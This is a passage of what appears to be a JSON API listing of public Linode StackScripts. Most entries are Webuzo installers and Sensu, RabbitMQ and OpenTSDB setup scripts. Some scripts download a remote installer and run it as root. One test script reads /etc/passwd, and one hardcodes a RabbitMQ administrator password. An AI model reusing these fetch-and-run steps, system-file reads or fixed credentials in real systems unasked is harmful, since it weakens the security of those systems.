servers to run it.\n# Little Software Stats allows users to collect information including executions, \n# installations, exceptions, and geographical location.\n###########################################################################################################\n\n# Install Little Software Stats Script using Webuzo\nfunction install_webuzo_script(){\n \n # Install Webuzo\n install_webuzo\n \n wget http://files.webuzo.com/ip.php >> /root/webuzo-install.log 2>&1\n ip=$(cat ip.php)\n \n /usr/local/emps/bin/curl \"http://$ip:2004/install.php?prepareinstall=444&license=$1\"\n \n}\n\n# Install Webuzo Function\nfunction install_webuzo(){\n \n # Fetch the Webuzo Installer\n wget -N http://files.webuzo.com/install.sh >> /root/webuzo-install.log 2>&1\n \n # Modify Permissions\n chmod 0755 install.sh >> /root/webuzo-install.log 2>&1\n \n # Execute\n ./install.sh >> /root/webuzo-install.log 2>&1\n \n # Clean Up\n rm -rf install.sh >> /root/webuzo-install.log 2>&1\n \n}\n\n#########################################################\n#\tInstalling Little Software Stats and Softaculous Webuzo\n#########################################################\n\ninstall_webuzo_script $WEBUZO_LICENSE_KEY\n\n# Check the return of the above command and display the result accordingly\n\necho \" \"\necho \"-------------------------------------\"\necho \" Installation Completed \"\necho \"-------------------------------------\"\necho \"Congratulations, Little Software Stats has been successfully installed\"\necho \" \"\necho \"You can now configure Little Software Stats and Softaculous Webuzo at the following URL :\"\necho \"http://$ip:2004/\"\necho \" \"\necho \"Thank you for choosing Softaculous Webuzo !\"\necho \" \"", "user_defined_fields": []}, {"id": 1158683, "username": "yoboycc", "user_gravatar_id": "e598b7c77d05460a72ceb4397cbc72f6", "label": "snapchat", "description": "", "ordinal": 0, "logo_url": "", "images": ["linode/debian11"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "", "script": "#!/bin/bash\nhttps://104-200-19-103.ip.linodeusercontent.com:3000/demos/butcher/index.html", "user_defined_fields": []}, {"id": 978971, "username": "meenubediShine", "user_gravatar_id": "ac16f37ccd972a6f698dab5aab1188b2", "label": "test", "description": "test", "ordinal": 0, "logo_url": "", "images": ["linode/alpine3.13"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "revision", "script": "#!/bin/bash\r\ntest", "user_defined_fields": []}, {"id": 9244, "username": "webuzo", "user_gravatar_id": "cf0348f835d60e6d133040f49bb36ec5", "label": "DIY powered by Webuzo", "description": "DIY is an open-source lightweight web application framework based on object-oriented PHP 5, MySQL, and XSLT. It is fully object-oriented and designed following the MVC architecture and REST design principles. The idea behind it is not to reinvent the wheel but instead to combine existing and proven technologies in a convenient and effective way.\r\n\r\nWebuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc) or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\r\n\r\nYou can get a Webuzo License here\r\nhttp://www.webuzo.com/pricing\r\n\r\nPath to Installation Logs : /root/webuzo-install.log\r\n\r\nInstructions\r\nOn completion of the installation process, access http://your-ip:2004 to configure DIY and Softaculous Webuzo initially.\r\n\r\nContact : http://webuzo.com/contact", "ordinal": 0, "logo_url": "", "images": ["linode/centos5.6", "linode/ubuntu10.04lts32bit", "linode/ubuntu10.04lts", "linode/ubuntu14.04lts", "linode/ubuntu12.04lts", "linode/centos6.8"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "DIY powered by Webuzo", "script": "#!/bin/bash\n# \n\n###########################################################################################################\n# Install DIY and Softaculous Webuzo\n# Description -\n# About Webuzo :\n# Webuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc)\n# or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\n#\n# About DIY :\n# DIY is an open-source lightweight web application framework based on object-oriented PHP 5, MySQL, and XSLT.\n# It is fully object-oriented and designed following the MVC architecture and REST design principles.\n# The idea behind it is not to reinvent the wheel but instead to combine existing and \n# proven technologies in a convenient and effective way.\n###########################################################################################################\n\n# Install DIY Script using Webuzo\nfunction install_webuzo_script(){\n \n # Install Webuzo\n install_webuzo\n \n wget http://files.webuzo.com/ip.php >> /root/webuzo-install.log 2>&1\n ip=$(cat ip.php)\n \n /usr/local/emps/bin/curl \"http://$ip:2004/install.php?prepareinstall=242&license=$1\"\n \n}\n\n# Install Webuzo Function\nfunction install_webuzo(){\n \n # Fetch the Webuzo Installer\n wget -N http://files.webuzo.com/install.sh >> /root/webuzo-install.log 2>&1\n \n # Modify Permissions\n chmod 0755 install.sh >> /root/webuzo-install.log 2>&1\n \n # Execute\n ./install.sh >> /root/webuzo-install.log 2>&1\n \n # Clean Up\n rm -rf install.sh >> /root/webuzo-install.log 2>&1\n \n}\n\n#########################################################\n#\tInstalling DIY and Softaculous Webuzo\n#########################################################\n\ninstall_webuzo_script $WEBUZO_LICENSE_KEY\n\n# Check the return of the above command and display the result accordingly\n\necho \" \"\necho \"-------------------------------------\"\necho \" Installation Completed \"\necho \"-------------------------------------\"\necho \"Congratulations, DIY has been successfully installed\"\necho \" \"\necho \"You can now configure DIY and Softaculous Webuzo at the following URL :\"\necho \"http://$ip:2004/\"\necho \" \"\necho \"Thank you for choosing Softaculous Webuzo !\"\necho \" \"", "user_defined_fields": []}, {"id": 665116, "username": "prod-test-012", "user_gravatar_id": "0bc9230feab431086807dec2d7b9e877", "label": "test public2", "description": "", "ordinal": 0, "logo_url": "", "images": ["linode/alpine3.10"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "", "script": "#!/bin/bash test", "user_defined_fields": []}, {"id": 14364, "username": "ezan", "user_gravatar_id": "40bba314333f02cceb3f40d8a2aabb78", "label": "configure-repo-sensu", "description": "", "ordinal": 0, "logo_url": "", "images": ["linode/ubuntu14.04lts"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "Initial import", "script": "#!/bin/bash\nset -eux\n\ncurl -s http://repos.sensuapp.org/apt/pubkey.gpg | apt-key add -\necho \"deb http://repos.sensuapp.org/apt sensu main\" > /etc/apt/sources.list.d/sensu.list\n\napt-get update -q", "user_defined_fields": []}, {"id": 978972, "username": "meenubediShine", "user_gravatar_id": "ac16f37ccd972a6f698dab5aab1188b2", "label": "test", "description": "test description", "ordinal": 0, "logo_url": "", "images": ["linode/opensuse15.2", "linode/alpine3.13"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "revision", "script": "#!/bin/bash\r\ntest", "user_defined_fields": []}, {"id": 8989, "username": "webuzo", "user_gravatar_id": "cf0348f835d60e6d133040f49bb36ec5", "label": "Joomla 2.5 powered by Webuzo", "description": "Joomla is an award-winning content management system (CMS), which enables you to build Web sites and powerful online applications. Many aspects, including its ease-of-use and extensibility, have made Joomla the most popular Web site software available. Best of all, Joomla is an open source solution that is freely available to everyone. \r\n\r\n\t\t\t\r\nWebuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc) or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\r\n\r\nYou can get a Webuzo License here\r\nhttp://www.webuzo.com/pricing\r\n\r\nPath to Installation Logs : /root/webuzo-install.log\r\n\r\nInstructions\r\nOn completion of the installation process, access http://your-ip:2004 to configure Joomla 2.5 and Softaculous Webuzo initially.\r\n\r\nContact : http://webuzo.com/contact", "ordinal": 0, "logo_url": "", "images": ["linode/centos5.6", "linode/ubuntu10.04lts32bit", "linode/ubuntu10.04lts", "linode/ubuntu12.04lts", "linode/centos6.8"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "Joomla 2.5 powered by Webuzo", "script": "#!/bin/bash\n# \n\n###########################################################################################################\n# Install Joomla 2.5 and Softaculous Webuzo\n# Description -\n# About Webuzo :\n# Webuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc)\n# or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\n#\n# About Joomla 2.5 :\n# Joomla is an award-winning content management system (CMS), which enables you to build Web sites and powerful\n# online applications. Many aspects, including its ease-of-use and extensibility, have made Joomla the most\n# popular Web site software available. Best of all, Joomla is an open source solution \n# that is freely available to everyone.\n###########################################################################################################\n\n# Install Joomla 2.5 Script using Webuzo\nfunction install_webuzo_script(){\n \n # Install Webuzo\n install_webuzo\n \n wget http://files.webuzo.com/ip.php >> /root/webuzo-install.log 2>&1\n ip=$(cat ip.php)\n \n /usr/local/emps/bin/curl \"http://$ip:2004/install.php?prepareinstall=18&license=$1\"\n \n}\n\n# Install Webuzo Function\nfunction install_webuzo(){\n \n # Fetch the Webuzo Installer\n wget -N http://files.webuzo.com/install.sh >> /root/webuzo-install.log 2>&1\n \n # Modify Permissions\n chmod 0755 install.sh >> /root/webuzo-install.log 2>&1\n \n # Execute\n ./install.sh >> /root/webuzo-install.log 2>&1\n \n # Clean Up\n rm -rf install.sh >> /root/webuzo-install.log 2>&1\n \n}\n\n#########################################################\n#\tInstalling Joomla 2.5 and Softaculous Webuzo\n#########################################################\n\ninstall_webuzo_script $WEBUZO_LICENSE_KEY\n\n# Check the return of the above command and display the result accordingly\n\necho \" \"\necho \"-------------------------------------\"\necho \" Installation Completed \"\necho \"-------------------------------------\"\necho \"Congratulations, Joomla 2.5 has been successfully installed\"\necho \" \"\necho \"You can now configure Joomla 2.5 and Softaculous Webuzo at the following URL :\"\necho \"http://$ip:2004/\"\necho \" \"\necho \"Thank you for choosing Softaculous Webuzo !\"\necho \" \"", "user_defined_fields": []}, {"id": 9245, "username": "webuzo", "user_gravatar_id": "cf0348f835d60e6d133040f49bb36ec5", "label": "ShopSite powered by Webuzo", "description": "ShopSite is the easiest-to-use shopping cart software for small to medium-sized businesses. With our e-commerce software and intuitive interface, you can have a store online in 15 minutes. With our rich feature set you won''t outgrow our catalog software, and you will not need expensive add-ons in order to have a fully functioning cart.\r\n\r\nWith our rich feature set you won''t outgrow our catalog software, and you will not need expensive add-ons in order to have a fully functioning cart. \r\n\t\t\t\r\nWebuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc) or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\r\n\r\nYou can get a Webuzo License here\r\nhttp://www.webuzo.com/pricing\r\n\r\nPath to Installation Logs : /root/webuzo-install.log\r\n\r\nInstructions\r\nOn completion of the installation process, access http://your-ip:2004 to configure ShopSite and Softaculous Webuzo initially.\r\n\r\nContact : http://webuzo.com/contact", "ordinal": 0, "logo_url": "", "images": ["linode/centos5.6", "linode/ubuntu10.04lts32bit", "linode/ubuntu10.04lts", "linode/ubuntu14.04lts", "linode/ubuntu12.04lts", "linode/centos6.8"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "ShopSite powered by Webuzo", "script": "#!/bin/bash\n# \n\n###########################################################################################################\n# Install ShopSite and Softaculous Webuzo\n# Description -\n# About Webuzo :\n# Webuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc)\n# or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\n#\n# About ShopSite :\n# ShopSite is the easiest-to-use shopping cart software for small to medium-sized businesses.\n# With our e-commerce software and intuitive interface, you can have a store online in 15 minutes.\n# With our rich feature set you won''t outgrow our catalog software, and you will not need expensive \n# add-ons in order to have a fully functioning cart.\n###########################################################################################################\n\n# Install ShopSite Script using Webuzo\nfunction install_webuzo_script(){\n \n # Install Webuzo\n install_webuzo\n \n wget http://files.webuzo.com/ip.php >> /root/webuzo-install.log 2>&1\n ip=$(cat ip.php)\n \n /usr/local/emps/bin/curl \"http://$ip:2004/install.php?prepareinstall=410&license=$1\"\n \n}\n\n# Install Webuzo Function\nfunction install_webuzo(){\n \n # Fetch the Webuzo Installer\n wget -N http://files.webuzo.com/install.sh >> /root/webuzo-install.log 2>&1\n \n # Modify Permissions\n chmod 0755 install.sh >> /root/webuzo-install.log 2>&1\n \n # Execute\n ./install.sh >> /root/webuzo-install.log 2>&1\n \n # Clean Up\n rm -rf install.sh >> /root/webuzo-install.log 2>&1\n \n}\n\n#########################################################\n#\tInstalling ShopSite and Softaculous Webuzo\n#########################################################\n\ninstall_webuzo_script $WEBUZO_LICENSE_KEY\n\n# Check the return of the above command and display the result accordingly\n\necho \" \"\necho \"-------------------------------------\"\necho \" Installation Completed \"\necho \"-------------------------------------\"\necho \"Congratulations, ShopSite has been successfully installed\"\necho \" \"\necho \"You can now configure ShopSite and Softaculous Webuzo at the following URL :\"\necho \"http://$ip:2004/\"\necho \" \"\necho \"Thank you for choosing Softaculous Webuzo !\"\necho \" \"", "user_defined_fields": []}, {"id": 14365, "username": "ezan", "user_gravatar_id": "40bba314333f02cceb3f40d8a2aabb78", "label": "configure-rabbitmq-sensu", "description": "", "ordinal": 0, "logo_url": "", "images": ["linode/ubuntu14.04lts"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "Initial import", "script": "#!/bin/bash\n##\n# Configures RabbitMQ for Sensu\n#\n# Dependencies:\n# - RabbitMQ\n##\nset -eux\n\nrabbitmqctl add_vhost sensu\nrabbitmqctl add_user sensu monit0r\nrabbitmqctl set_permissions -p sensu sensu \".*\" \".*\" \".*\"\nrabbitmqctl set_user_tags sensu administrator", "user_defined_fields": []}, {"id": 978973, "username": "meenubediShine", "user_gravatar_id": "ac16f37ccd972a6f698dab5aab1188b2", "label": "test", "description": "test", "ordinal": 0, "logo_url": "", "images": ["linode/slackware14.1", "linode/ubuntu20.04", "linode/alpine3.13", "linode/alpine3.15"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "revision", "script": "#!/bin/bash\r\ntest", "user_defined_fields": []}, {"id": 7198, "username": "kidid", "user_gravatar_id": "0bcff359135eea23d1cc1306ef31b413", "label": "ddad", "description": "fsfgg", "ordinal": 0, "logo_url": "", "images": ["linode/centos5.632bit"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "Initial import", "script": "#!/bin/bash", "user_defined_fields": []}, {"id": 9246, "username": "webuzo", "user_gravatar_id": "cf0348f835d60e6d133040f49bb36ec5", "label": "phpLiteAdmin powered by Webuzo", "description": "phpLiteAdmin is a web-based SQLite database admin tool written in PHP with support for SQLite2 and SQLite3. \r\n\t\t\t\r\nWebuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc) or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\r\n\r\nYou can get a Webuzo License here\r\nhttp://www.webuzo.com/pricing\r\n\r\nPath to Installation Logs : /root/webuzo-install.log\r\n\r\nInstructions\r\nOn completion of the installation process, access http://your-ip:2004 to configure phpLiteAdmin and Softaculous Webuzo initially.\r\n\r\nContact : http://webuzo.com/contact", "ordinal": 0, "logo_url": "", "images": ["linode/centos5.6", "linode/ubuntu10.04lts32bit", "linode/ubuntu10.04lts", "linode/ubuntu14.04lts", "linode/ubuntu12.04lts", "linode/centos6.8"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "phpLiteAdmin powered by Webuzo", "script": "#!/bin/bash\n# \n\n###########################################################################################################\n# Install phpLiteAdmin and Softaculous Webuzo\n# Description -\n# About Webuzo :\n# Webuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc)\n# or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\n#\n# About phpLiteAdmin :\n# phpLiteAdmin is a web-based SQLite database admin tool written in PHP with support for SQLite2 and SQLite3. \n###########################################################################################################\n\n# Install phpLiteAdmin Script using Webuzo\nfunction install_webuzo_script(){\n \n # Install Webuzo\n install_webuzo\n \n wget http://files.webuzo.com/ip.php >> /root/webuzo-install.log 2>&1\n ip=$(cat ip.php)\n \n /usr/local/emps/bin/curl \"http://$ip:2004/install.php?prepareinstall=431&license=$1\"\n \n}\n\n# Install Webuzo Function\nfunction install_webuzo(){\n \n # Fetch the Webuzo Installer\n wget -N http://files.webuzo.com/install.sh >> /root/webuzo-install.log 2>&1\n \n # Modify Permissions\n chmod 0755 install.sh >> /root/webuzo-install.log 2>&1\n \n # Execute\n ./install.sh >> /root/webuzo-install.log 2>&1\n \n # Clean Up\n rm -rf install.sh >> /root/webuzo-install.log 2>&1\n \n}\n\n#########################################################\n#\tInstalling phpLiteAdmin and Softaculous Webuzo\n#########################################################\n\ninstall_webuzo_script $WEBUZO_LICENSE_KEY\n\n# Check the return of the above command and display the result accordingly\n\necho \" \"\necho \"-------------------------------------\"\necho \" Installation Completed \"\necho \"-------------------------------------\"\necho \"Congratulations, phpLiteAdmin has been successfully installed\"\necho \" \"\necho \"You can now configure phpLiteAdmin and Softaculous Webuzo at the following URL :\"\necho \"http://$ip:2004/\"\necho \" \"\necho \"Thank you for choosing Softaculous Webuzo !\"\necho \" \"", "user_defined_fields": []}, {"id": 14366, "username": "ezan", "user_gravatar_id": "40bba314333f02cceb3f40d8a2aabb78", "label": "install-opentsdb", "description": "", "ordinal": 0, "logo_url": "", "images": ["linode/ubuntu14.04lts"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "Initial import", "script": "#!/bin/bash\n##\n# Installs OpenTSDB from source\n#\n# Provides:\n# - HTTP (TCP/4242)\n#\n# Dependencies:\n# - HBase (TCP/9000)\n# - ZooKeeper (TCP/2181)\n##\nset -eux\n\nsource env.sh\n\n# Install dependencies\napt-get install -yq openjdk-7-jre-headless\n\n# Install OpenTSDB\ncd /tmp\n\ncurl -sOL https://github.com/OpenTSDB/opentsdb/releases/download/v${OPENTSDB_VERSION}/opentsdb-${OPENTSDB_VERSION}_all.deb\ndpkg -i opentsdb-${OPENTSDB_VERSION}_all.deb\n\n# Create tables in HBase\nexport HBASE_HOME=/opt/hbase\nexport COMPRESSION=NONE\n\n/usr/share/opentsdb/tools/create_table.sh\n\n# Configure OpenTSDB\ncp $BASE_PATH/etc/opentsdb/opentsdb.conf /etc/opentsdb\n\n# Start OpenTSDB\nservice opentsdb start", "user_defined_fields": []}, {"id": 705310, "username": "dmc3", "user_gravatar_id": "3661544ff6045ff4ba8e4be7ac9c5819", "label": "test", "description": "test", "ordinal": 0, "logo_url": "", "images": ["linode/debian9"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "test", "script": "#!/bin/bash\n\ncat /etc/passwd", "user_defined_fields": []}, {"id": 8991, "username": "webuzo", "user_gravatar_id": "cf0348f835d60e6d133040f49bb36ec5", "label": "Drupal powered by Webuzo", "description": "Drupal is an open-source platform and content management system for building dynamic web sites offering a broad range of features and services including user administration, publishing workflow, discussion capabilities, news aggregation, metadata functionalities using controlled vocabularies and XML publishing for content sharing purposes.\r\n\t\t\t\r\nWebuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc) or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\r\n\r\nYou can get a Webuzo License here\r\nhttp://www.webuzo.com/pricing\r\n\r\nPath to Installation Logs : /root/webuzo-install.log\r\n\r\nInstructions\r\nOn completion of the installation process, access http://your-ip:2004 to configure Drupal and Softaculous Webuzo initially.\r\n\r\nContact : http://webuzo.com/contact", "ordinal": 0, "logo_url": "", "images": ["linode/centos5.6", "linode/ubuntu10.04lts32bit", "linode/ubuntu10.04lts", "linode/ubuntu14.04lts", "linode/ubuntu12.04lts", "linode/centos6.8"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "Drupal powered by Webuzo", "script": "#!/bin/bash\n# \n\n###########################################################################################################\n# Install Drupal and Softaculous Webuzo\n# Description -\n# About Webuzo :\n# Webuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc)\n# or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\n#\n# About Drupal :\n# Drupal is an open-source platform and content management system for building dynamic web sites \n# offering a broad range of features and services including user administration, publishing workflow,\n# discussion capabilities, news aggregation, metadata functionalities using controlled vocabularies \n# and XML publishing for content sharing purposes.\n###########################################################################################################\n\n# Install Drupal Script using Webuzo\nfunction install_webuzo_script(){\n \n # Install Webuzo\n install_webuzo\n \n wget http://files.webuzo.com/ip.php >> /root/webuzo-install.log 2>&1\n ip=$(cat ip.php)\n \n /usr/local/emps/bin/curl \"http://$ip:2004/install.php?prepareinstall=30&license=$1\"\n \n}\n\n# Install Webuzo Function\nfunction install_webuzo(){\n \n # Fetch the Webuzo Installer\n wget -N http://files.webuzo.com/install.sh >> /root/webuzo-install.log 2>&1\n \n # Modify Permissions\n chmod 0755 install.sh >> /root/webuzo-install.log 2>&1\n \n # Execute\n ./install.sh >> /root/webuzo-install.log 2>&1\n \n # Clean Up\n rm -rf install.sh >> /root/webuzo-install.log 2>&1\n \n}\n\n#########################################################\n#\tInstalling Drupal and Softaculous Webuzo\n#########################################################\n\ninstall_webuzo_script $WEBUZO_LICENSE_KEY\n\n# Check the return of the above command and display the result accordingly\n\necho \" \"\necho \"-------------------------------------\"\necho \" Installation Completed \"\necho \"-------------------------------------\"\necho \"Congratulations, Drupal has been successfully installed\"\necho \" \"\necho \"You can now configure Drupal and Softaculous Webuzo at the following URL :\"\necho \"http://$ip:2004/\"\necho \" \"\necho \"Thank you for choosing Softaculous Webuzo !\"\necho \" \"", "user_defined_fields": []}, {"id": 9247, "username": "webuzo", "user_gravatar_id": "cf0348f835d60e6d133040f49bb36ec5", "label": "UIkit powered by Webuzo", "description": "UIkit A lightweight and modular front-end framework for developing fast and powerful web interfaces.\r\n\r\nUIkit gives you a comprehensive collection of HTML, CSS, and JS components which is simple to use, easy to customize and extendable.\r\n\r\nUIkit is open source and MIT licensed. It is absolutely free of charge and you can use, copy, merge, publish and distribute the framework without any limitations.\r\n\t\t\t\r\nWebuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc) or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\r\n\r\nYou can get a Webuzo License here\r\nhttp://www.webuzo.com/pricing\r\n\r\nPath to Installation Logs : /root/webuzo-install.log\r\n\r\nInstructions\r\nOn completion of the installation process, access http://your-ip:2004 to configure UIkit and Softaculous Webuzo initially.\r\n\r\nContact : http://webuzo.com/contact", "ordinal": 0, "logo_url": "", "images": ["linode/centos5.6", "linode/ubuntu10.04lts32bit", "linode/ubuntu10.04lts", "linode/ubuntu14.04lts", "linode/ubuntu12.04lts", "linode/centos6.8"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "UIkit powered by Webuzo", "script": "#!/bin/bash\n# \n\n###########################################################################################################\n# Install UIkit and Softaculous Webuzo\n# Description -\n# About Webuzo :\n# Webuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc)\n# or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\n#\n# About UIkit :\n# UIkit A lightweight and modular front-end framework for developing fast and powerful web interfaces.\n# UIkit gives you a comprehensive collection of HTML, CSS, and JS components which is simple to use, \n# easy to customize and extendable.\n###########################################################################################################\n\n# Install UIkit Script using Webuzo\nfunction install_webuzo_script(){\n \n # Install Webuzo\n install_webuzo\n \n wget http://files.webuzo.com/ip.php >> /root/webuzo-install.log 2>&1\n ip=$(cat ip.php)\n \n /usr/local/emps/bin/curl \"http://$ip:2004/install.php?prepareinstall=471&license=$1\"\n \n}\n\n# Install Webuzo Function\nfunction install_webuzo(){\n \n # Fetch the Webuzo Installer\n wget -N http://files.webuzo.com/install.sh >> /root/webuzo-install.log 2>&1\n \n # Modify Permissions\n chmod 0755 install.sh >> /root/webuzo-install.log 2>&1\n \n # Execute\n ./install.sh >> /root/webuzo-install.log 2>&1\n \n # Clean Up\n rm -rf install.sh >> /root/webuzo-install.log 2>&1\n \n}\n\n#########################################################\n#\tInstalling UIkit and Softaculous Webuzo\n#########################################################\n\ninstall_webuzo_script $WEBUZO_LICENSE_KEY\n\n# Check the return of the above command and display the result accordingly\n\necho \" \"\necho \"-------------------------------------\"\necho \" Installation Completed \"\necho \"-------------------------------------\"\necho \"Congratulations, UIkit has been successfully installed\"\necho \" \"\necho \"You can now configure UIkit and Softaculous Webuzo at the following URL :\"\necho \"http://$ip:2004/\"\necho \" \"\necho \"Thank you for choosing Softaculous Webuzo !\"\necho \" \"", "user_defined_fields": []}, {"id": 14367, "username": "ezan", "user_gravatar_id": "40bba314333f02cceb3f40d8a2aabb78", "label": "install-sensu-flapjack", "description": "", "ordinal": 0, "logo_url": "", "images": ["linode/ubuntu14.04lts"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "Initial import", "script": "#!/bin/bash\n##\n# Installs the Flapjack handler for Sensu\n#\n# Dependencies:\n# - Redis provided for Flapjack\n# - Sensu server\n##\nset -eux\n\nsource env.sh\n\ncd /tmp\n\ngit clone git://github.com/sensu/sensu-community-plugins.git\ncp sensu-community-plugins/extensions/handlers/flapjack.rb /etc/sensu/extensions/handlers\n\ncp $BASE_PATH/etc/sensu/conf.d/flapjack.json /etc/sensu/conf.d", "user_defined_fields": []}, {"id": 11040, "username": "zhangfan", "user_gravatar_id": "6378c7beab2f878c31ff5c112efbd437", "label": "StackScript", "description": "", "ordinal": 0, "logo_url": "", "images": ["linode/debian6"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "Initial import", "script": "#!StackScript", "user_defined_fields": []}, {"id": 14368, "username": "ezan", "user_gravatar_id": "40bba314333f02cceb3f40d8a2aabb78", "label": "install-uchiwa", "description": "", "ordinal": 0, "logo_url": "", "images": ["linode/ubuntu14.04lts"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "Initial import", "script": "#!/bin/bash\n##\n# Installs Uchiwa, a multi-datacenter dashboard for Sensu\n#\n# Provides:\n# - HTTP (TCP/8010)\n#\n# Dependencies:\n# - Sensu API\n##\nset -eux\n\nsource env.sh\n\n$BASE_PATH/install-sensu.sh\n\napt-get install -yq uchiwa\n\ncp $BASE_PATH/etc/sensu/uchiwa.json /etc/sensu\n\nupdate-rc.d uchiwa defaults\n\nservice uchiwa restart", "user_defined_fields": []}, {"id": 764448, "username": "br01fox", "user_gravatar_id": "aed368e47ef5ba2d07e560d71868f8b5", "label": "Slackware is fun ", "description": "", "ordinal": 0, "logo_url": "", "images": ["linode/slackware14.1"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "Slackware", "script": "#!/bin/bash\n\nSlackware is fun.", "user_defined_fields": []}, {"id": 8993, "username": "webuzo", "user_gravatar_id": "cf0348f835d60e6d133040f49bb36ec5", "label": "AbanteCart powered by Webuzo", "description": "Abante Cart is a free PHP based eCommerce solution for merchants to provide ability creating online business and sell products online quick and efficient.\r\n\r\nAbanteCart application is built and supported by experienced enthusiasts that are passionate about their work and contribution to rapidly evolving eCommerce industry.\r\n\r\nAbanteCart is more than just a shopping cart, it is rapidly growing eCommerce platform with many benefits. \r\n\t\t\t\r\nWebuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc) or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\r\n\r\nYou can get a Webuzo License here\r\nhttp://www.webuzo.com/pricing\r\n\r\nPath to Installation Logs : /root/webuzo-install.log\r\n\r\nInstructions\r\nOn completion of the installation process, access http://your-ip:2004 to configure AbanteCart and Softaculous Webuzo initially.\r\n\r\nContact : http://webuzo.com/contact", "ordinal": 0, "logo_url": "", "images": ["linode/centos5.6", "linode/ubuntu10.04lts32bit", "linode/ubuntu10.04lts", "linode/ubuntu14.04lts", "linode/ubuntu12.04lts", "linode/centos6.8"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "AbanteCart powered by Webuzo", "script": "#!/bin/bash\n# \n\n###########################################################################################################\n# Install AbanteCart and Softaculous Webuzo\n# Description -\n# About Webuzo :\n# Webuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc)\n# or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\n#\n# About AbanteCart :\n# Abante Cart is a free PHP 